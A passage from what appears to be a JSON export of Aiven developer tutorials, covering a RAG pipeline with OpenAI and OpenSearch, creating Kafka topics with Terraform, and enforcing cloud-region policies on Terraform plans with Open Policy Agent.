len(wikipedia_dataframe)\nbatch_size = 200\nfor batch_start in range(start, end, batch_size):\n batch_end = min(batch_start + batch_size, end)\n batch_dataframe = wikipedia_dataframe.iloc[batch_start:batch_end]\n actions = dataframe_to_bulk_actions(batch_dataframe)\n helpers.bulk(client, actions)\n```\n\nOnce all the documents are loaded, we can try a query to retrieve the documents containing `Pizza`:\n\n```python\nres = client.search(index=index_name, body={\n \"_source\": {\n \"excludes\": [\"title_vector\", \"content_vector\"]\n },\n \"query\": {\n \"match\": {\n \"text\": {\n \"query\": \"Pizza\"\n }\n }\n }\n})\n\nprint(res[\"hits\"][\"hits\"][0][\"_source\"][\"text\"])\n```\n\nThe result is the Wikipedia article talking about `Pizza`:\n\n```\nPizza is an Italian food that was created in Italy (The Naples area). It is made with different toppings. Some of the most common toppings are cheese, sausages, pepperoni, vegetables, tomatoes, spices and herbs and basil. These toppings are added over a piece of bread covered with sauce. The sauce is most often tomato-based, but butter-based sauces are used, too. The piece of bread is usually called a \"pizza crust\". Almost any kind of topping can be put over a pizza. The toppings used are different in different parts of the world. Pizza comes from Italy from Neapolitan cuisine. However, it has become popular in many parts of the world.\n\nHistory \nThe origin of the word Pizza is uncertain. The food was invented in Naples about 200 years ago. It is the name for a special type of flatbread, made with special dough. The pizza enjoyed a second birth as it was taken to the United States in the late 19th century.\n\n...\n```\n\n# Encode chatbot questions with OpenAI text-embedding-ada-002 model\n\n![Encoding questions with OpenAI text-embedding-ada-002 model](https://cdn.sanity.io/images/sczeoy4w/production/6f2356a34e44102a6e2c8d6c37909e2542ccf309-3180x706.png)\n\nTo perform a semantic search, we need to calculate question encodings with the same embedding model used to encode the documents at index time. In this example, we need to use the `text-embedding-ada-002` model.\n\n```python\nfrom openai import OpenAI\n\n# Define model\nEMBEDDING_MODEL = \"text-embedding-ada-002\"\n\n# Define the Client\nopenaiclient = OpenAI(\n # This is the default and can be omitted\n api_key=os.getenv(\"OPENAI_API_KEY\"),\n)\n\n# Define question\nquestion = 'is Pineapple a good ingredient for Pizza?'\n\n# Create embedding\nquestion_embedding = openaiclient.embeddings.create(input=question, model=EMBEDDING_MODEL)\n```\n\n# Run semantic search queries with OpenSearch\n\n\n![Semantic Search with OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/29c0a9913c5483aa1cc36c4777568f9fa301da64-3944x1610.png)\n\nWith the above embedding calculated, we can now run semantic searches against the OpenSearch index to retrieve the necessary context for the retrieval-augmented generation. We're using `knn` as query type and scan the content of the `content_vector` field.\n\n```python\nresponse = client.search(\n index = index_name,\n body = {\n \"size\": 15,\n \"query\" : {\n \"knn\" : {\n \"content_vector\":{\n \"vector\": question_embedding.data[0].embedding,\n \"k\": 3\n }\n }\n }\n }\n)\n\nfor result in response[\"hits\"][\"hits\"]:\n print(\"Id:\" + str(result['_id']))\n print(\"Score: \" + str(result[\"_score\"]))\n print(\"Title: \" + str(result[\"_source\"][\"title\"]))\n print(\"Text: \" + result[\"_source\"][\"text\"][0:100])\n```\n\nThe result is the list of articles ranked by score:\n\n```\nId:13967\nScore: 13.94602\nTitle: Pizza\nText: Pizza is an Italian food that was created in Italy (The Naples area). It is made with different topp\nId:90918\nScore: 13.754393\nTitle: Pizza Hut\nText: Pizza Hut is an American pizza restaurant, or pizza parlor. Pizza Hut also serves salads, pastas and\nId:66079\nScore: 13.634726\nTitle: Pizza Pizza\nText: Pizza Pizza Limited (PPL), doing business as Pizza Pizza (), is a franchised Canadian pizza fast foo\nId:85932\nScore: 11.388243\nTitle: Margarita\nText: Margarita may mean:\n The margarita, a cocktail made with tequila and triple sec\nMargarita Island, a \nId:13968\nScore: 10.576359\nTitle: Pepperoni\nText: Pepperoni is a meat food that is sometimes sliced thin and put on pizza. It is a kind of salami, whi\nId:87088\nScore: 9.424156\nTitle: Margherita of Savoy\n...\n```\n\n## Use OpenAI Chat Completions API to generate a RAG reply\n\n![retrieval-augmented generation reply](https://cdn.sanity.io/images/sczeoy4w/production/8b9823ee07eafbcf1de9d6732638979235296791-3180x840.png)\n\nThe step above retrieves the content semantically similar to the question. Now let's use OpenAI chat `completions` function to return a retrieval-augmented generated reply based on the information retrieved.\n\n```python\n# Retrieve the text of the first result in the above dataset\ntop_hit_summary = response['hits']['hits'][0]['_source']['text']\n\n# Craft a reply\nresponse = openaiclient.chat.completions.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n {\"role\": \"user\", \"content\": \"Answer the following question:\" \n + question \n + \"by using the following text:\" \n + top_hit_summary\n }\n ]\n )\n\nchoices = response.choices\n\nfor choice in choices:\n print(choice.message.content)\n```\n\nThe result is going to be similar to the below:\n\n```\nPineapple is a contentious ingredient for pizza, and it is commonly used at Pizza Pizza Limited (PPL), a Canadian fast-food restaurant with locations throughout Ontario. The menu includes a variety of toppings such as pepperoni, pineapples, mushrooms, and other non-exotic produce. Pizza Pizza has been a staple in the area for over 30 years, with over 500 locations in Ontario and expanding across the nation, including recent openings in Montreal and British Columbia.\n```\n\n\n## Conclusion\n\nOpenSearch is a powerful tool providing both text and vector search capabilities. Used alongside OpenAI APIs allows you to craft personalized AI applications able to augment the context based on semantic search, and return responses to queries that are augmented by AI. A logical next step would be to pair OpenSearch with another storage system to, for example, store the responses that your customers find useful and train the model further. Building an end to end system including a databases like PostgreSQL® and a streaming integration with Apache Kafka® could provide the resiliency of a relational database and the hybrid search capability of OpenSearch with data feeding in near real time.\n\nYou can try Aiven for OpenSearch, or any of the other Open Source tools, in the Aiven platform free trial by [signing up](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-14T11:22:00.736Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"7219aea8cd15","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-03-07T10:59:30.185Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"retrieval audmented generation with OpenAi and OpenSearch\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-659909932ef93c52c1b1b3f1c5c8d460b21f59c0-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/retrieval-augmented-generation-openai-opensearch"},"subtitle":"Use OpenSearch® as a vector database to generate responses to user queries using AI","tags":[{"_key":"3a6a54b3fc90","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"9ef182332fc4","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"d610834e7653","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"5b2cde873ff1","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Retrieval augmented generation with OpenAI and OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2023-03-24T14:54:08Z","_id":"454a6093-57c2-4a49-9fad-c195f722e9ea","_rev":"ZLvKaZvfbZlWBlGcpIpWCL","_type":"devArticle","_updatedAt":"2024-01-29T15:45:39Z","body":"One of the joys of cloud data platforms is the ability to quickly and easily create and configure services. Often I'm working on more than one project at a time, so by using Terraform to create/recreate the setup, I can swiftly get going again when I return to the task. I've recently been working with Apache Kafka® quite a bit, using Terraform to recreate the topics that my application uses, and I'll be sharing my approach in this post.\n\n## Before we begin\n\nI encourage you to try these steps out yourself, and adapt the examples as you go along to meet your own requirements. To do that, you will need:\n\n* [Terraform](https://www.terraform.io/) set up on your computer.\n* An Aiven account ([sign up](https://console.aiven.io/signup) if you don't have one already, there's a free trial)\n\n## Aiven Terraform provider\n\nAiven publishes a Terraform provider, which is great because it gives everything required to create, configure and delete services on the Aiven platform. You can find [more information about the Aiven Terraform provider](https://aiven.io/docs/tools/terraform) in the documentation, but configuring the basics is a good place to start.\n\n## Set up the provider\n\nFor a new project, run `terraform init` in the directory where you will keep your `*.tf` files, and then create a file called `provider.tf` containing the text below. This tells Terraform which provider to use (`aiven`), including the version (`3.7` or later). The provider is essentially an API client, so you also need to declare a variable for the API token that the Aiven provider can use.\n\nIf you already have a Terraform project, you can add these blocks alongside your other provider configurations.\n\n```terraform\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e= 3.7\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\n## Configure the variables\n\nFor this project, there are two variables:\n* the Aiven API token\n* the project name\n\n\u003e Tip: you can also [use a data source to represent the project](https://aiven.io/docs/tools/terraform/concepts/data-sources.html), but using the project name is simple and works too!\n\nWorking with variables is done in two steps. The first step is defining the variables that are required, which I'm doing in a file called `variables.tf`:\n\n```terraform\nvariable \"aiven_api_token\" {\n description = \"Aiven API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven project name\"\n type = string\n}\n```\n\nThe variables are not very exciting without their values. Use a [variable definitions file](https://www.terraform.io/language/values/variables#variable-definitions-tfvars-files) called `aiven.tfvars` (we're including the example API token value, don't worry this one isn't real):\n\n```\nproject_name = \"dev-project\"\naiven_api_token = \"oalk0W1m+Lhss0CPrMfOqvXBp+LDB0LAC4lxbSzEYS7A/dAhnTZOiM5leC1NzIUZnVLHAr9eVESKSB41tgttFGqAWbxiYI5iPNB8CZTohwi91dsULj5uwXyHfho+M94yhC8srl84oEsnXExksNkLolvKcvwJ6IIw5c14c3Mt+FUwcenl9BA2LkC9DNJ/TDoM3qfHXXLaTknW3IbB3SIUR4YFE+ru/i7REEfYcj41YhdBqXANzRM0ETwSraOCVV7cuOyZR5UrWuwFzgWf54Qqy/mILxQR9PwSXzRSuZ6pBMH2chkPF4mZlGoJjjDWuE+CPFo9EysGlWYWAAZThtvor11iQM9/JtvjzLYqfvZzvbgP\"\n```\n\nThe `*.tf` files don't contain any secret values, so can safely be checked into source control.\nThe `aiven.tfvars` file doesn't get checked into source control, but is supplied to Terraform operations as needed.\nMixing configuration and values feels like it might be a useful shortcut, but it usually leads to regrets.\n\n## Set up Apache Kafka\n\nFor non-trivial setups, recreating the topics can be laborious. In a dev environment, it's tempting to allow Kafka to create the topics automatically when they're accessed. This is ideal for prototyping but makes it difficult to keep track of the topics in use, and too easy to work with a slightly misspelled topic without realising. Being able to quickly recreate a specific set of topics is very useful and Terraform lets us do that.\n\nThis example also creates an Apache Kafka® resource, but you could equally [use a data source](https://aiven.io/docs/tools/terraform/concepts/data-sources) if your goal is to configure topics on an existing cluster. Here's the file with the cluster defined:\n\n```terraform\nresource \"aiven_kafka\" \"project_kafka\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"lorna-kafka-demo\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n kafka_user_config {\n kafka_version = \"3.2\"\n schema_registry = true\n kafka_rest = true\n kafka {\n default_replication_factor = 2\n }\n }\n}\n```\n\nThe Aiven for Apache Kafka Terraform resource type has a lot of available configuration options. Take a look at the [documentation for the `aiven_kafka` resource type](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka#schema) for a very long list of what you can use in this configuration block. This example [enables the Karapace Schema Registry](https://aiven.io/docs/products/kafka/karapace/howto/enable-karapace.html) and the [REST API](https://aiven.io/docs/products/kafka/concepts/kafka-rest-api), which is generally a good default.\n\n## Define the desired topics \n\nThe topics are in a different file, using the resource name of the cluster already defined to set the service name for each topic:\n\n```terraform\nresource \"aiven_kafka_topic\" \"user_activity\" {\n project = var.project_name\n service_name = aiven_kafka.project_kafka.service_name\n topic_name = \"user_activity\"\n partitions = 3\n replication = 2\n}\n\nresource \"aiven_kafka_topic\" \"avatars\" {\n project = var.project_name\n service_name = aiven_kafka.project_kafka.service_name\n topic_name = \"avatars\"\n partitions = 3\n replication = 2\n}\n\nresource \"aiven_kafka_topic\" \"event_logs\" {\n project = var.project_name\n service_name = aiven_kafka.project_kafka.service_name\n topic_name = \"event_logs\"\n partitions = 3\n replication = 2\n}\n```\n\nFor more options on configuring the topic, visit the [configuration documentation](https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/kafka_topic#nested-schema-for-config) for this resource type.\n\nDescribing the topics like this is a nice way to think about how they should be configured, and of course the text-based approach means that changes can be tracked easily, versions compared, or setups shared with others for their own use.\n\n## Deploy the cluster and topics\n\nWith the provider, variables, Aiven for Apache Kafka cluster and desired topics configured, Terraform can bring our dreams to life. Start by running the `terraform plan` command. Since we put the variables in a separate file we can use the `-var-file` switch to specify it. Your command looks something like:\n```shell\n terraform plan -var-file=values.tfvars\n```\nThe (long-winded) output of this command will end by announcing the number of resources to add, change or destroy. In this case, with one cluster and three topics, there are 4 things to add. If the plan outputs the expected value, then go ahead and use the `apply` command to enact the changes:\n```shell\n terraform apply -var-file=values.tfvars\n```\n\n## Terraform for fast and repeatable service configuration\n\nI use a lot of scripts like this for different demo or work-in-progress projects, and I hope you'll find this approach useful in your own work as well. Rather than trying to take notes or remember what to do, write it once and run it as many times as needed.\n\nFor more starter Terraform configuration, visit the [Aiven Terraform cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook.html) where you will find plenty of ingredients for you to cook up something to meet your own needs.\n\nIf you are new to Terraform, try our [step-by-step guide to get you started](https://aiven.io/docs/tools/terraform/get-started.html) with detailed instructions.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:53:51.593Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"2c60d9e26ede","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-12T09:02:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fc8619b70960536b4fdbef776eca43facf43e1f8-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/terraform-for-repeatable-topics"},"subtitle":"Terraform can orchestrate your infrastructure the same way every time, giving you confidence in your consistent platform. Idempotency for the win.","tags":[{"_key":"9dc302400082","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"96346c2b0c09","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"(Re)Create Apache Kafka® topics with Terraform"} {"__i18n_lang":"en","_createdAt":"2023-07-05T09:35:33Z","_id":"29db62a4-36d9-4047-8b0b-a5343500dcc0","_rev":"WsWK2eJhT0GdR6GsCSt187","_type":"devArticle","_updatedAt":"2024-05-08T14:57:21Z","body":"In this tutorial, you'll use [Open Policy Agent (OPA)](https://www.openpolicyagent.org/docs/latest/) to enforce fine-grained policy control across development and production environments for Terraform deployments. This tutorial assumes that you are already using Terraform.\n\n# The challenge\n\nRapu started at Crab Inc. as a Junior DevOps Engineer. He is shadowing a senior engineer on the team to learn how the team deploys PostgreSQL®, Aiven for Caching, Apache Kafka®, and other data-related services across development and production environments. \n\nThe development team is based in Montreal, Canada and they should only create cloud resources in the Google Cloud Montreal region. However, to ensure high availability for the company's North American customers, the production environment supports multiple AWS cloud regions in the US East location. Previously, there were no guardrails in place and Rapu deployed to cloud regions where he wasn't supposed to deploy. \n\nThese are the specific regions for Prod and Dev.\n\n- Prod: `aws-us-east1`\n- Dev: `google-northamerica-northeast1`\n\nYour goal is to help Rapu enforce these policies so that resources don't get created in the wrong cloud or region.\n\n## Prerequisites\n\nThe concept of the tutorial is agnostic to the Terraform provider you choose. For the sake of a demo, I'll choose [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest). [Aiven](https://aiven.io/) provides highly-available and scalable data infrastructure based on open-source technologies. For this tutorial, you'll create a [free Aiven account](https://console.aiven.io/signup) and [an Aiven authentication token](https://aiven.io/docs/platform/howto/create_authentication_token).\n\nInstall [OPA](https://www.openpolicyagent.org/docs/latest/#running-opa) and [Terraform](https://developer.hashicorp.com/terraform/downloads).\n\n[Installing jq](https://jqlang.github.io/jq/download/) is optional. \n\n## The Story\n\nIn this section, you'll help Rapu create Terraform files that describe an Aiven for Caching resource. This can be any cloud resource for your use case and Aiven for Caching is used as an example. Besides the Aiven for Caching resource in the `services.tf` file, create a `provider.tf` file for the provider and version details. You'll also create a `variables.tf` to define the required variables for Aiven Terraform Provider.\n\nOur protagonist Rapu will learn how to decouple and enforce policies using some common tools. When decoupling policies using Open Policy Agent, the structure is pretty consistent no matter the tool or service.\n\nThere is a **tool/service**, in this case we will be using Terraform. This tool will generate some data that will be used as **Input** for our decision. The input file will be sent to OPA to be compared against the **Policy**(written in Rego) and any additional **Data**.\n\nAs an added bonus Rapu will learn how to write Unit tests for his policies, which is part of clean code and best practicies.\n\nHere's a high-level overview of the system:\n\n![High-level overview](https://cdn.sanity.io/images/sczeoy4w/production/15825242d911ccf100493f6de14c0cfedd7b0e9c-5391x2072.png)\n\nHere's a detailed version of the same system:\n\n![Detailed view](https://cdn.sanity.io/images/sczeoy4w/production/a457e42f7ec60ed72c581362433427820a1a6d02-7527x1870.png)\n\nIn this tutorial, you run `terraform` and `opa` commands manually and from your local machine. The above diagram shows how these tools can be used in an automated way. For example, a CI/CD pipeline can deploy cloud resources using Terraform if the OPA policy allows. A deny from OPA might result in a Slack or email notification to the developer. \n\n## Set up Terraform files\n\nIn an empty directory, create these three files:\n\n`provider.tf` file:\n\n```terraform\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"~\u003e 4.1.0\"\n }\n }\n}\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\n`variables.tf` file:\n\n```terraform\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\n`service.tf` file:\n\n```terraform\nresource \"aiven_redis\" \"redis-demo\" {\n project = var.project_name # Find your Aiven project name from top-left of Aiven console\n plan = \"hobbyist\" # For this exercise, the hobbyist plan will do\n service_name = \"redis-demo\" # Choose any service name\n cloud_name = \"google-northamerica-northeast1\" # Choose any cloud region from https://aiven.io/docs/platform/reference/list_of_clouds\n}\n```\n\nTo set the values for the environment variables like `aiven_api_token` or `project_name`, you can either [use TF_VAR_name](https://developer.hashicorp.com/terraform/cli/config/environment-variables#tf_var_name), [use variables on the command line](https://developer.hashicorp.com/terraform/language/values/variables#variables-on-the-command-line), or [use a variable definition file](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files).\n\n## Prepare the Terraform manifest for OPA\n\nBefore executing your Terraform manifest with OPA, it's important to add two environment variables so that Terraform client knows about two variables that Aiven Terraform Provider requires. Please replace the placeholder values with the actual values for your Aiven API token and Aiven project name.\n\n\n```shell\n\nexport TF_VAR_aiven_api_token=YOUR_AIVEN_API_TOKEN\n\nexport TF_VAT_project_name=YOUR_AIVEN_PROJECT_NAME\n\n```\n\nNow initialize this directory with the `terraform init` command and ask Terraform to calculate what changes it will make and store the output in `plan.binary`.\n\n```shell\nterraform init\nterraform plan --out tfplan.binary\n```\n\nUse the command `terraform show` to convert the Terraform plan into JSON so that OPA can read the plan.\n\n```shell\nterraform show -json tfplan.binary \u003e tfplan.json\n```\n\nFor improved readability you can pipe the output through `jq` before saving the file.\n\n```shell\nterraform show -json tfplan.binary | jq \u003e tfplan.json\n```\n\nHere is a sample output of `tfplan.json`:\n\n```json\n\n{\n \"format_version\": \"1.1\",\n \"terraform_version\": \"1.2.8\",\n \"variables\": {\n \"aiven_api_token\": {\n \"value\": \"3Xi1J+E0G3vo0fwr2vWMLl0XgHwRyA6pCX8C6rQQZVhoyFfz9WAMreaGZPAI+jRUGWgtslQKQtIZTICCDZlZkQn3sRYHGBcAxgXqoiT3l9cYVbVvyPNSVPGHrSvBhSCXIYgWX3AXkOG/kQiJ1r0CZn0Y0gK/pRyiti6dImIzyEsZWja9FZk+mV/M/6BAZMKpa/EokkKUj4puMpUX4B3//slU9yUdicr2wCe/uyx53K64rU/OWZYCbqfTI6QcsjZc1wd8/a+0aLsv651qZwxmgTAenmj0JC5tXWD+Dx89NaiZcUdGxhyg58ZYfYh6U3YDm5S/ovDcvq9m/ffMKbb2Sut2vVELPO1l6AA70U1besBR0dE=\"\n },\n \"project_name\": {\n \"value\": \"devrel-dewan\"\n }\n },\n \"planned_values\": {\n \"root_module\": {\n \"resources\": [\n {\n \"address\": \"aiven_redis.redis-demo\",\n \"mode\": \"managed\",\n \"type\": \"aiven_redis\",\n \"name\": \"redis-demo\",\n \"provider_name\": \"registry.terraform.io/aiven/aiven\",\n \"schema_version\": 0,\n \"values\": {\n \"additional_disk_space\": null,\n \"cloud_name\": \"google-northamerica-northeast1\",\n \"disk_space\": null,\n \"maintenance_window_dow\": null,\n \"maintenance_window_time\": null,\n \"plan\": \"hobbyist\",\n \"project\": \"devrel-dewan\",\n \"project_vpc_id\": null,\n \"redis_user_config\": [],\n \"service_integrations\": [],\n \"service_name\": \"redis-demo\",\n \"service_type\": \"redis\",\n \"static_ips\": null,\n \"tag\": [],\n \"termination_protection\": null,\n \"timeouts\": null\n },\n \"sensitive_values\": {\n \"components\": [],\n \"redis\": [],\n \"redis_user_config\": [],\n \"service_integrations\": [],\n \"tag\": []\n }\n }\n ]\n }\n },\n \"resource_changes\": [\n {\n \"address\": \"aiven_redis.redis-demo\",\n \"mode\": \"managed\",\n \"type\": \"aiven_redis\",\n \"name\": \"redis-demo\",\n \"provider_name\": \"registry.terraform.io/aiven/aiven\",\n \"change\": {\n \"actions\": [\n \"create\"\n ],\n \"before\": null,\n \"after\": {\n \"additional_disk_space\": null,\n \"cloud_name\": \"google-northamerica-northeast1\",\n \"disk_space\": null,\n \"maintenance_window_dow\": null,\n \"maintenance_window_time\": null,\n \"plan\": \"hobbyist\",\n \"project\": \"devrel-dewan\",\n \"project_vpc_id\": null,\n \"redis_user_config\": [],\n \"service_integrations\": [],\n \"service_name\": \"redis-demo\",\n \"service_type\": \"redis\",\n \"static_ips\": null,\n \"tag\": [],\n \"termination_protection\": null,\n \"timeouts\": null\n },\n \"after_unknown\": {\n \"components\": true,\n \"disk_space_cap\": true,\n \"disk_space_default\": true,\n \"disk_space_step\": true,\n \"disk_space_used\": true,\n \"id\": true,\n \"redis\": true,\n \"redis_user_config\": [],\n \"service_host\": true,\n \"service_integrations\": [],\n \"service_password\": true,\n \"service_port\": true,\n \"service_uri\": true,\n \"service_username\": true,\n \"state\": true,\n \"tag\": []\n },\n \"before_sensitive\": false,\n \"after_sensitive\": {\n \"components\": [],\n \"redis\": [],\n \"redis_user_config\": [],\n \"service_integrations\": [],\n \"service_password\": true,\n \"service_uri\": true,\n \"tag\": []\n }\n }\n }\n ],\n \"configuration\": {\n \"provider_config\": {\n \"aiven\": {\n \"name\": \"aiven\",\n \"full_name\": \"registry.terraform.io/aiven/aiven\",\n \"version_constraint\": \"~\u003e 4.1.0\",\n \"expressions\": {\n \"api_token\": {\n \"references\": [\n \"var.aiven_api_token\"\n ]\n }\n }\n }\n },\n \"root_module\": {\n \"resources\": [\n {\n \"address\": \"aiven_redis.redis-demo\",\n \"mode\": \"managed\",\n \"type\": \"aiven_redis\",\n \"name\": \"redis-demo\",\n \"provider_config_key\": \"aiven\",\n \"expressions\": {\n \"cloud_name\": {\n \"constant_value\": \"google-northamerica-northeast1\"\n },\n \"plan\": {\n \"constant_value\": \"hobbyist\"\n },\n \"project\": {\n \"constant_value\": \"devrel-dewan\"\n },\n \"service_name\": {\n \"constant_value\": \"redis-demo\"\n }\n },\n \"schema_version\": 0\n }\n ],\n \"variables\": {\n \"aiven_api_token\": {\n \"description\": \"Aiven console API token\"\n },\n \"project_name\": {\n \"description\": \"Aiven console project name\"\n }\n }\n }\n }\n}\n```\n\n::alert[The api token in the above example is invalid and is shown as an example only.]\n\n## Write OPA policies in Rego\n\nOPA policies are written in [Rego](https://www.openpolicyagent.org/docs/latest/policy-language/). The following Rego checks if Rapu can deploy to a development environment or a production environment based on the type of Terraform resource and the cloud region they choose. \n\nIn the same folder, create a sub-folder called **policy** and create a file within called **terraform.rego**. Add the following code to that file:\n\n`terraform.rego` file:\n\n```rego\npackage terraform.analysis\nimport input as tfplan\nimport future.keywords\ndev_env_cloud_prefix := \"google-northamerica-northeast1\"\nprod_env_cloud_prefix := \"aws-us-east\"\nresource_types := {\"aiven_kafka\", \"aiven_pg\", \"aiven_opensearch\", \"aiven_redis\"}\ndefault allow_dev_deployment := false\ndefault allow_prod_deployment := false\nallow_dev_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, dev_env_cloud_prefix)\n}\nallow_prod_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, prod_env_cloud_prefix)\n}\n```\n\nLet's analyze this file. Crab Inc. uses PostgreSQL for their relational database, Aiven for Caching, OpenSearch® for search and analytics, and Apache Kafka as the central message bus. Therefore, the `resource_types` field limits the use to these four resources. Crab Inc. allows developers to deploy in the Montreal, Canada region only. The `dev_env_cloud_prefix` field takes care of that requirement. Similarly, production deployments are allowed at any one of Aiven's supported AWS cloud regions in the US East coast which the `prod_env_cloud_prefix` field takes care of.\n\nExecute the following command from the main directory to find out if OPA allows the Terraform deployment to go through:\n\n```shell\n./opa exec --decision terraform/analysis/allow_prod_deployment --bundle policy/ tfplan.json\n```\n\nWith the current Terraform service definition, the output of the above command is:\n\n```shell\n{\n \"result\": [\n {\n \"path\": \"tfplan.json\",\n \"result\": false\n }\n ]\n}\n```\n\nIf you have [jq](https://stedolan.github.io/jq) installed on your machine, you can find the exact result with:\n\n```shell\n./opa exec --decision terraform/analysis/allow_prod_deployment --bundle policy/ tfplan.json | jq '.result[0].result'\n```\n\nThe `opa exec` command is taking in the `tfplan.json` as an input and validating this against the policy we defined in the **allow_prod_deployment** section under policy/terraform.rego file. **terraform/analysis** is denoting the package name in that Rego. \n\nLet's make a change in the `services.tf` file and change the `cloud_name` field to `aws-us-east1`. Now if you repeat the previous steps to create the `tfplan.json` and run `opa exec` command, the output should be `true`.\n\nhint:\n\n```bash\nterraform plan --out tfplan.binary\nterraform show -json tfplan.binary | jq \u003e tfplan.json\nopa exec --decision terraform/analysis/allow_prod_deployment --bundle ./policy tfplan.json | jq '.result[0].result'\n```\n\n## Create data block in Rego\n\nRapu has done a great job implementing his first policy. However, typically data isn't hard coded in the policy. So let's rewrite the current policy and create some news ones.\n\nCreate the following data.json file in the `policy` folder this should be right next to our rego file: \n\nFilename `data.json`:\n\n```json\n{\n \"team\": \"devrel\",\n \"app\": \"crab_cast\",\n \"dev\": {\n \"cloud\": \"google-northamerica-northeast1\"\n },\n \"prod\": {\n \"cloud\": \"aws-us-east1\"\n }\n}\n```\n\nNow that we have a data file, we can go back and update our Rego policy.\n\nfile name `terraform.rego`:\n\n```rego\npackage terraform.analysis\nimport input as tfplan\nimport future.keywords\n# notice we removed the hard coded variables\nresource_types := {\"aiven_kafka\", \"aiven_pg\", \"aiven_opensearch\", \"aiven_redis\"}\ndefault allow_dev_deployment := false\ndefault allow_prod_deployment := false\nallow_dev_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, data.dev.cloud) # referencing the new data block\n}\nallow_prod_deployment if {\n\tsome resource in tfplan.planned_values.root_module.resources\n\tresource.type in resource_types\n\tstartswith(resource.values.cloud_name, data.prod.cloud) # referencing the new data block\n}\n```\n\nNow we can rerun the policy check. Remember we added the data file to our policy folder so OPA should be aware of the new data.\n\n```bash\nterraform plan --out tfplan.binary\nterraform show -json tfplan.binary | jq \u003e tfplan.json\nopa exec --decision terraform/analysis/allow_prod_deployment --bundle ./policy tfplan.json\n```\n\n## Unit testing in Rego\n\nNow that we have a few policies in place, we are going to add unit tests to ensure our policies are good before we enforce them in production.\n\nCreate a rego file for our tests. \n\nfile `policy/test_terraform.rego`:\n\n```rego\npackage terraform.test_analysis\nimport data.terraform.analysis\ntest_allow_dev_deployment {\n\tanalysis.allow_dev_deployment with input as {\"planned_values\": {\"root_module\": {\"resources\": [{\n\t\t\"address\": \"aiven_redis.redis-demo\",\n\t\t\"mode\": \"managed\",\n\t\t\"type\": \"aiven_redis\",\n\t\t\"name\": \"redis-demo\",\n\t\t\"provider_name\": \"registry.terraform.io/aiven/aiven\",\n\t\t\"schema_version\": 1,\n\t\t\"values\": {\n\t\t\t\"cloud_name\": \"google-northamerica-northeast1\",\n\t\t\t\"plan\": \"hobbyist\",\n\t\t\t\"project\": \"devrel-dewan\",\n\t\t\t\"service_name\": \"redis-demo\",\n\t\t\t\"service_type\": \"redis\",\n\t\t},\n\t}]}}}\n}\ntest_not_allow_prod_deployment {\n\tnot analysis.allow_prod_deployment with input as {\"planned_values\": {\"root_module\": {\"resources\": [{\n\t\t\"address\": \"aiven_redis.redis-demo\",\n\t\t\"mode\": \"managed\",\n\t\t\"type\": \"aiven_redis\",\n\t\t\"name\": \"redis-demo\",\n\t\t\"provider_name\": \"registry.terraform.io/aiven/aiven\",\n\t\t\"schema_version\": 1,\n\t\t\"values\": {\n\t\t\t\"cloud_name\": \"google-northamerica-northeast1\",\n\t\t\t\"plan\": \"hobbyist\",\n\t\t\t\"project\": \"devrel-dewan\",\n\t\t\t\"service_name\": \"redis-demo\",\n\t\t\t\"service_type\": \"redis\",\n\t\t},\n\t}]}}}\n}\n```\n\nWith our testing file in place let's run the tests. In this command we are calling the OPA binary, with the subcommand test on the target folder policy.\n\n```bash\nopa test policy\n```\n\n## Some homework for you\n\nNow that you have learned about writing and testing OPA policies for your data infrastructure in place, please write the following two policies and two unit tests:\n\n### Policies to add\n\n1. project must start with team name\n2. service_name must include app name\n\n### Unit tests to 